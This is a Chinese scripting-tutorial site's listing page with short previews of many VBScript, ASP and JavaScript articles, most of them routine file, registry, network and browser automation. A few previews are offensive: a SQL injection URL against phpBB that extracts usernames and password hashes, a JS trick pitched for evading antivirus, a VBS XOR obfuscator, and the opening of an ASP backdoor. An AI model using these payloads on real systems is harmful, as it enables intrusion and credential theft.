Welcome

首页 / 编程脚本

vbs（asp） ByVal ByRef函数调用使用说明

2016-07-27 18
1、ByVal传值：一种将参数值而不是将地址传递给过程的方式，这就使过程访问到变量的复本。结果，过程不可改变变量的真正值。 2、ByRef传值：一种将参数地址而不是将值传递给过程的方式，这就使过程访问到实际的变量。结果，过程可改变变量的真正值。除非另作说明，否则按地址传递参数。 3、系统默认的是ByRef传值。例子： 复制代码 代码如下: <SCRIPT LANGUAGE="vbScript"> dim a a=0 document.write...

一段提取用户名和md5的vbs代码

2016-07-27 19
注入代码如下: links.php？t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,1000/* 这样就提取了1000个用户名和md5，将上边的保存成htm，要挨个提取出md5和用户名很麻烦，写了段代码。这段代码我很满意，估计是...

vbs fso跨盘移动文件夹的怪问题

2016-07-27 17
跨盘移动文件夹的怪问题 Set objFSO = CreateObject（"Scripting.FileSystemObject"） objFSO.MoveFolder "C:Scripts" , "d:2" 权限拒绝，但是copy就可以。可以采用变通的办法先复制再删除 ========================================wmi================= strComputer = "." Set objWMIServ...

vbs删除文本文件的行的函数

2016-07-27 20
Delete Line Function复制代码 代码如下:Function DeleteLine（strFile, strKey, LineNumber, CheckCase） "DeleteLine Function by TomRiddle 2008 "Remove line（s） containing text （strKey） from text file （strFile） "or "Remove line number from text f...

显示运行对话框内保存的命令历史的vbs

2016-07-27 18
复制代码 代码如下:Const HKEY_CURRENT_USER = &H80000001 strComputer = "." Set objRegistry = GetObject（"winmgmts:\" & strComputer & " ootdefault:StdRegProv"） strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU" objRegistry.En...

emule自动关机脚本

2016-07-27 18
dir="E:Temp" Set fso=CreateObject（"Scripting.FileSystemObject"） cmd="shutdown -s -f -t 60" Set ws=WScript.CreateObject（"WScript.Shell"） Wscript.Echo "emule自动关机脚本已运行……" count=0 do until count<-1 chksize = fso.GetFolder（dir）.Size...

IE中用VBScript不提示直接打印的代码

2016-07-27 21
首先在HTML 页面中加入WebBrowser 的Object: <OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" height=0 id=wb name=wb width=0></OBJECT> 之后，使用如下代码进行打印： <script language="VBScript"> sub printvb（） wb.execwb 6,2,3 End...

vbs引用另一个vbs的代码

2016-07-27 19
第一个页面： <html> <head> <script language="VBScript"> Sub Hello（） Document.All.myScriptlet.Hello End Sub </script> </head> <body onload="Hello（）"> <OBJECT ID="myScriptlet" TYPE="text/x-scriptlet"...

VBScript 剪贴板抓取URL并在浏览器中打开

2016-07-27 19
您好，CL。这是很有趣的问题，或者我们应当说，这是两个很有趣的问题。因为您实际上问了两个问题。第一个问题很简单：我可以使用脚本打开特定的 Web 站点吗？您大概已经知道答案了，我可以大声地回答您，可以！下面是一个示例脚本，它将“脚本中心”的 URL 存储在一个名为 strURL 的变量中。然后，此脚本会创建 WSH Shell 对象的一个实例，并使用 Run 方法来打开默认的 Web 浏览器并导航到指定的 URL： strURL = “http://www...

奇特的js写法,或许可以用来加密躲杀毒软件什么的

2016-07-27 17
不用怀疑,是正常可以执行的.如果在这里边随便加点数字还能说得通的话,再看下一个例子: 复制代码 代码如下:var w=WScript.createObject（"wscript.shell"） 123,w.popup（showFolders（"c:\",456）） function showFolders（foldername） { var fs,f,fc,s; s="" fs=new ActiveXObject（"Scripting.FIleSystem...

自动写入文件上传到指定服务器SoftwareMeteringCLS.vbs源码

2016-07-27 18
复制代码 代码如下:" FileName: SoftwareMeteringCLS.vbs " //////////////////////////////////////////////////////////////////// If （WScript.ScriptName = "SoftwareMeteringCLS.vbs"） Then Call demo_SoftwareMeteringCLS（） " ======================...

一个查看局域网在线IP的vbs脚本

2016-07-27 18
复制代码 代码如下:strSubNet = "192.168.1." Set objFSO= CreateObject（"Scripting.FileSystemObject"） Set objTS = objfso.CreateTextFile（"e:PingResult.txt"） For i = 1 To 254 strComputer = strSubNet & i blnResult = Ping（strComputer） If blnResul...

Dynamic Activity Window动态活动窗口vbs

2016-07-27 20
复制代码 代码如下:Option Explicit Dim oBar Set oBar = New ProgressBar oBar.StartBar "This is a test." WScript.Sleep （3000） oBar.SetLine "So is this." WScript.Sleep （3000） oBar.CloseBar Class ProgressBar Dim oBarCat, sProgressBarHTAFile, s...

可以查询系统用户名sid的vbs

2016-07-27 18
复制代码 代码如下:set path=wscript.createobject（"wscript.shell"） usera=path.ExpandEnvironmentStrings（"%username%"） name=inputbox（"请输入你要查询的用户名","sid查询--by不追不悔",usera） strComputer = "." Set wbemServices = Getobject（"winmgmts:\" & strCompute...

VBScript使用ADSI为IIS批量添加屏蔽或允许访问的IP

2016-07-27 18
复制代码 代码如下:"/*========================================================================= " * Intro VBScript使用ADSI为IIS批量添加屏蔽或允许访问的IP " * FileName VBScript-ADSI-IIS-Add-Deny-Grant-IP-Change-MetaBase.xml.vbs " *========================...

WMI IE代理 切换或改变（Use WMI Change IE Proxy）

2016-07-27 19
将下面的代码，保存为 vbs即可复制代码 代码如下:If WScript.Arguments.Count = 0 Then GetI = -1 Else GetI = CInt（WScript.Arguments（0）） End If Call YourCode（） "把你弄到的代理都写在一个文本文件里（IP.txt），格式是一行一个： ip:端口 IPS = CreateObject（"Scripting.FileSystemObject"）.OpenT...

SendKeys clip.exe 发送中文的代码

2016-07-27 18
复制代码 代码如下:Set WshShell=CreateObject（"WScript.Shell"） code="让SendKeys可以发送中文" WshShell.Run "cmd.exe /c echo " & code & "| clip.exe", vbHide app=WshShell.Run （"notepad"） WScript.Sleep 1000 WshShell.AppActivate app WshShell.SendKeys "...

利用计划任务和VBS脚本实现自动WEB共享文件夹里的文件

2016-07-27 18
复制代码 代码如下:Option Explicit On Error Resume Next "生成列表的文件类型 Const sListFileType = "wmv,rm,wma" "文件所在的相对路径 Const sShowPath="." "排序类型的常量定义 Const iOrderFieldFileName = 0 Const iOrderFieldFileExt = 1 Const iOrderFieldFileSize = 2 Const ...

XorEncode的vbs实现代码

2016-07-27 17
复制代码 代码如下:If Not WScript.Arguments.Count=1 Then WScript.Echo "请将要转换的vbs文件托拽到我身上！":WScript.Quit Set fso=CreateObject（"Scripting.FileSystemObject"） Set self=fso.OpenTextFile（WScript.ScriptFullName） Set vbs=fso.CreateTextFile（Left（WS...

利用wsc制作的一个asp后门

2016-07-27 20
<？xml version="1.0" encoding="gb2312" standalone="yes"？> <？component error="true" debug="true"？> <package> <component id="haiyangtop"> <public> <method name="lcx"><parameter name="b"/><...
<< 131 132 133 134 135 136 137 138 139 140 >>
版权所有©石家庄振强科技有限公司2024 冀ICP备08103738号-5 网站地图